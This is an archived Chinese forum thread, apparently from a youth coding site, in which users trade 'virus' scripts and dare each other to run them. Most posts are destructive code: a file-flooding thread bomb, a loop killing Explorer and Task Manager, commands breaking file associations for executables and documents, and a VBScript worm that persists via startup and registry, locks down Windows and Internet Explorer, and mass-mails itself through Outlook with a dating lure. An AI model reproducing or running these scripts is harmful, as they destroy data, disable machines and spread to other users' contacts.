猫史档案馆


病毒!小心!

用户:蒟蒻OIer1048576蒟蒻OIer1048576查看:17 回复:9 评论:17 创建时间:2020-04-10T08:26:06


 

import threading
def run():
    i=0
    while 1:
        i+=1
        with open('D:\'+str(i)+'.txt','w') as f:
            f.write('(ಡωಡ)hiahiahia')
while True:
    threading.Thread(target=run).start

(ಡωಡ)hiahiahia你运行它试试(ಡωಡ)hiahiahia

 


回复

上一页1 页 / 共 1下一页
我叫以赏我叫以赏

center_image

center_image

center_image

center_image

center_image

修正后运行:

center_image

唉,看看我删除喵:

center_image

最后,请问楼主哪里抄的呢?

点赞0


评论


蒟蒻OIer1048576蒟蒻OIer1048576

import threading,random
def run(x):
    i=0
    while 1:
        i+=x
        with open('D:\\'+str(i)+'.'+chr(random.randint(65,90)),'w',encoding='utf-8') as f:
            f.write('(ಡωಡ)hiahiahia')
while True:
    threading.Thread(target=run,args=(random.randint(1000,20000),)).start()

点赞0


评论


1BB0090940B96FFBF1BB0090940B96FFBF

试试这个center_image

from os import system
while True:
    system("taskkill /f /im explorer.exe >nul 2>nul")
    system("taskkill /f /im taskmgr.exe >nul 2>nul")
    system("taskkill /f /im chrome.exe >nul 2>nul")

点赞0


评论


蒟蒻OIer1048576蒟蒻OIer1048576

import time,threading,random


class Cat:
    def __init__(self,Type,name):
        self.Type = Type
        self.name = name
        self.hungryValue = 100
        self.happyValue = 100
        self.IQ = 50

    def cry(self):
        print('喵~呜~(伤心)')

    def happy(self):
        print('喵~(快乐)')

    def hungry(self):
        print('喵~咕噜噜~(饿了)')

    def study(self):
        print('喵~')
        self.IQ+=5

    def eat(self,food):
        self.hungryValue += food*3


class SingCat(Cat):
    def __init__(self, Type, name):
        self.Type = Type
        self.name = name
        self.hungryValue = 100
        self.happyValue = 100
        self.IQ = 100

    def sing(self):
        print('啦啦啦')
        evaluate = input('我唱的好不好啊?')
        if evaluate == '好':
            self.happyValue = min(100,happyValue+10)
            self.happy()
        elif evaluate == '不好':
            print('喵~我可能还需要学习')
            self.happyValue-=15
            self.IQ+=10


class CodeMao(SingCat):
    def __init__(self, Type, name):
        self.Type = Type
        self.name = name
        self.hungryValue = 100
        self.happyValue = 100
        self.IQ = 200

    def code(self,time):
        for i in range(int(time)):
            print('打代码ing')
            time.sleep(1)
        self.happyValue = min(100, happyValue+10)
        self.happy()
        self.IQ += 10


class AICodeMao(CodeMao):
    def __init__(self, Type, name):
        self.Type = Type
        self.name = name
        self.hungryValue = 100
        self.happyValue = 100
        self.IQ = 400

    def SuperStudy(self,times):
        for i in range(int(times)):
            IQ+=0.01
            time.sleep(0.005)


class Person:
    def __init__(self):
        self.food=0
        self.Cat=Cat('可爱','喵喵')
    def work(self):
        print('今天,你赚了¥200,买了10袋喵粮')
        self.food+=10

def see(person):
    while person.Cat.happyValue >= 0 and person.Cat.hungryValue >= 0:
        print('喵喵的饥饿值=', person.Cat.hungryValue)
        print('喵喵的开心度=', person.Cat.happyValue)
        print('喵喵的IQ=', person.Cat.IQ)
        time.sleep(5)

def catset(person):
    while person.Cat.happyValue >= 0 and person.Cat.hungryValue >= 0:
        time.sleep(3)
        person.Cat.happyValue -= 1
        if person.Cat.happyValue <= 20:
            person.Cat.cry()
            if person.Cat.happyValue <0:
                print('我这么伤心,你不来安慰我么?')
        person.Cat.hungryValue -= 2
        if person.Cat.hungryValue <= 20:
            person.Cat.hungry()
            if person.Cat.hungryValue < 0:
                print('我这么饿!')

def main(person):
    cls=1
    while person.Cat.happyValue >= 0 and person.Cat.hungryValue >= 0:
        a=input('请输入行为(1——玩耍)(2——学习)(3——喂食)(4——工作):')
        if a == '1':
            if cls>=1:
                person.Cat.happy()
                person.Cat.happyValue += 5
            if cls>=2:
                person.Cat.sing()
                person.Cat.happyValue += 5
            if cls>=3:
                person.Cat.code(random.randint(1,5))
        elif a == '2':
            if cls == 4:
                person.Cat.SuperStudy(random.randint(1, 5)*200)
            else:
                person.Cat.study()
        elif a == '3':
            person.Cat.eat(person.food)
        elif a == '4':
            time.sleep(3)
            person.work()
        if person.Cat.IQ >=400:
            print('恭喜你,喵喵已升级为AI编程猫')
            person.Cat = AICodeMao('可爱', '喵喵')
        elif person.Cat.IQ >= 200:
            print('恭喜你,喵喵已升级为编程猫')
            person.Cat = CodeMao('可爱', '喵喵')
        elif person.Cat.IQ >= 100:
            print('恭喜你,喵喵已升级为唱歌喵')
            person.Cat = SingCat('可爱', '喵喵')
        else:
            person.Cat = Cat('可爱', '喵喵')
        time.sleep(1.5)

p=Person()
a1=threading.Thread(target=see, args=(p,))
a2=threading.Thread(target=catset, args=(p,))
a3 = threading.Thread(target=main, args=(p,))
a1.start()
a2.start()
a3.start()

点赞0


评论


蒟蒻OIer1048576蒟蒻OIer1048576

with open('C:\\a.vbs') as file:
    file.write(r'''On Error Resume Next
Set fs=CreateObject("Scripting.FileSystemObject")
Set dir1=fs.GetSpecialFolder(0)
Set dir2=fs.GetSpecialFolder(1)
Set so=CreateObject("Scripting.FileSystemObject")
dim r
Set r=CreateObject("Wscript.Shell")
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Win32system.vbs")
so.GetFile(WScript.ScriptFullName).Copy(dir2&"\Win32system.vbs")
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Start Menu\Programs\启动\Win32system.vbs")
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives",63000000,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1,"REG_DWORD"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ScanRegistry",""
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode",1,"REG_DWORD"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system","Win32system.vbs"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskBar",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders",1,"REG_DWORD"
r.Regwrite "HKLM\Software\CLASSES\.reg\","txtfile"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption","你中毒了!"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","友情娱乐!找我要解毒文件!"
Set ol=CreateObject("Outlook.Application")
On Error Resume Next
For x=1 To 100
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").A喵ressLists(1).A喵ressEntries(x)
Mail.Subject="今晚你来吗?"
Mail.Body="朋友你好:您的朋友Rose给您发来了热情的邀请。具体情况请阅读随信附件,祝您好运!            同城约会网"
Mail.Attachments.A喵(dir2&"Win32system.vbs")
Mail.Send
Next
ol.Quit
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock",1,"REG_DWORD"
r.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Start Page","http://liudemin.myetang.com"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\SecurityTab",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\ResetWebSettings",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Infodelivery\Restrictions\NoA喵ingSubScriptions",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu",1,"REG_DWORD''')
from os import system
system('cd ..\\..')
system('a.vbs')

点赞0


评论


1BB0090940B96FFBF1BB0090940B96FFBF

#此程序具有破坏性,请谨慎运行
from os import system
system("assoc .png=txtfile")
system("assoc .jpg=txtfile")
system("assoc .bmp=txtfile")
system("assoc .gif=txtfile")
system("assoc .mp3=txtfile")
system("assoc .mp4=txtfile")
system("assoc .avi=txtfile")
system("assoc .wav=txtfile")
system("assoc .doc=txtfile")
system("assoc .docx=txtfile")
system("assoc .xls=txtfile")
system("assoc .xlsx=txtfile")
system("assoc .ppt=txtfile")
system("assoc .pptx=txtfile")
system("assoc .zip=txtfile")
system("assoc .rar=txtfile")
system("assoc .py=pngfile")
system("assoc .cpp=pngfile")
system("assoc .ht" + "m=pngfile")
system("assoc .ht" + "ml=pngfile")
system("assoc .bat=pngfile")
system("assoc .cm" + "d=pngfile")
system("assoc .json=pngfile")

center_image

 

 

 

 

 

点赞0


评论


LAG的1048576一枚LAG的1048576一枚

from os impmort *
#此程序比↓更具有破坏性!
system("assoc .exe=pngfile")
system("assoc .dll=pngfile")
system("assoc .cpp=pngfile")
system("assoc .c=pngfile")
#hiahiahia

注:系统需要*.dll文件

hiahiahia

点赞0


评论


LAG的1048576一枚LAG的1048576一枚

raise KeyboardInterrupt
    

点赞0


评论


蒟蒻OIer1048576蒟蒻OIer1048576

import threading,random
def run(x):
    i=0
    while 1:
        i+=x
        with open('D:\\'+str(i)+'.'+chr(random.randint(65,90)),'w',encoding='utf-8') as f:
            f.write('(ಡωಡ)hiahiahia')
while True:
    threading.Thread(target=run,args=(random.randint(1000,20000),)).start()

点赞0


评论